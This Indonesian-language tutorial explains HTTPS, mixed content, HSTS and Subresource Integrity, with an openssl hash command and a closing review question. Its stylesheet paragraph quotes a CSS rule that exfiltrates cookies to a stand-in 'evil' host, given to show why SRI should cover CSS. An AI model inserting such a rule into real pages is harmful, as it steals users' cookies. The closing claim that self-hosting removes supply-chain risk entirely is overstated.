HTTPS dan Integritas Subresource

HTTPS mengenkripsi data saat transit dan mengautentikasi server. Tanpa HTTPS, penyerang di jaringan yang sama (Wi-Fi kafe, ISP, aktor negara) dapat membaca setiap byte dan menyisipkan konten berbahaya ke dalam respons. Peramban modern menandai halaman HTTP sebagai "Tidak Aman" dan banyak API (kamera, geolokasi, service worker) menolak bekerja melalui HTTP.

Memuat sumber daya HTTP dari halaman HTTPS merupakan konten campuran. Peramban memblokir konten campuran aktif (skrip, iframe, stylesheet) sepenuhnya dan memberikan peringatan untuk konten pasif (gambar). Selalu muat setiap sumber daya melalui HTTPS; gunakan URL relatif-protokol (//cdn.example.com) atau https:// absolut.

HTTP Strict Transport Security melalui header respons Strict-Transport-Security memberi tahu peramban untuk menolak koneksi HTTP ke domain Anda di masa mendatang. Setelah HSTS disimpan dalam cache, penyerang tidak dapat menurunkan pengguna ke HTTP, bahkan jika penyerang berada di posisi perantara.

Memuat skrip dari CDN pihak ketiga memang praktis, tetapi berisiko — jika CDN disusupi, penyerang dapat mengganti skrip dengan perangkat lunak berbahaya. Subresource Integrity (SRI) membuat peramban memverifikasi hash kriptografis file sebelum menjalankannya dan menolak menjalankannya jika hash tidak cocok.

Tambahkan hash SHA-256/384/512 yang dikodekan dalam base64 ke tag skrip: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Peramban menghitung hash file yang diunduh dan menolak menjalankannya jika tidak cocok.

Buat hash dengan openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Atau gunakan plugin alat build yang menghasilkan atribut integrity secara otomatis. Sebagian besar CDN (jsdelivr, unpkg) menampilkan tag SRI dalam cuplikan yang siap disalin dan ditempel.

SRI memerlukan respons lintas-origin untuk mengizinkan pemeriksaan integritas melalui CORS. Tambahkan crossorigin="anonymous" ke tag dan pastikan CDN mengirim Access-Control-Allow-Origin. Tanpanya, peramban menolak melakukan verifikasi dan sumber daya gagal dimuat.

Atribut integrity dapat memuat beberapa hash yang dipisahkan oleh spasi. Ini berguna selama peralihan versi: cantumkan hash untuk versi lama dan baru, lalu peramban menerima versi mana pun yang disajikan CDN. Hindari lebih dari beberapa hash agar atribut tetap mudah dibaca.

SRI juga melindungi <link rel="stylesheet">. File CSS yang disusupi tidak secara langsung berbahaya seperti skrip yang disusupi, tetapi background: url("//evil/log?cookie=...") yang disisipkan tetap dapat mengeksfiltrasi data. Terapkan SRI pada setiap aset eksternal jika memungkinkan.

SRI mengurangi dampak penyusupan CDN, tetapi tidak menyelesaikan semua masalah: perubahan hash di CDN membuat halaman Anda rusak sampai Anda memperbarui atribut integrity. Untuk pustaka penting, host sendiri file yang telah Anda tinjau — langkah ini sekaligus menghilangkan kebutuhan penyematan hash SRI dan risiko rantai pasokan.

SRI menambahkan penghitungan hash untuk setiap sumber daya — dampaknya dapat diabaikan pada perangkat keras modern, hanya beberapa mikrodetik per kilobyte. Perlindungan yang diberikannya terhadap serangan rantai pasokan jauh lebih besar daripada biayanya. Tidak ada alasan terkait kinerja untuk melewati SRI saat memuat dari CDN.

SRI memverifikasi byte tertentu — SRI tidak melindungi dari CDN yang menyajikan file berbeda kepada sebagian pengguna (penargetan selektif). Untuk jaminan maksimum, gabungkan SRI dengan HTTPS, HSTS, CSP, dan hosting sendiri untuk aset yang paling penting.

Terhadap apa atribut integrity pada tag skrip memberikan perlindungan?

HTTPS mengenkripsi dan mengautentikasi, HSTS mencegah serangan penurunan protokol, dan SRI memverifikasi bahwa file pihak ketiga tidak telah diubah. Tambahkan hash integrity (dengan crossorigin="anonymous") ke setiap skrip dan stylesheet eksternal dari CDN yang tidak Anda kendalikan. Untuk aset paling penting, gunakan hosting sendiri — sehingga risiko rantai pasokan terhapus sepenuhnya.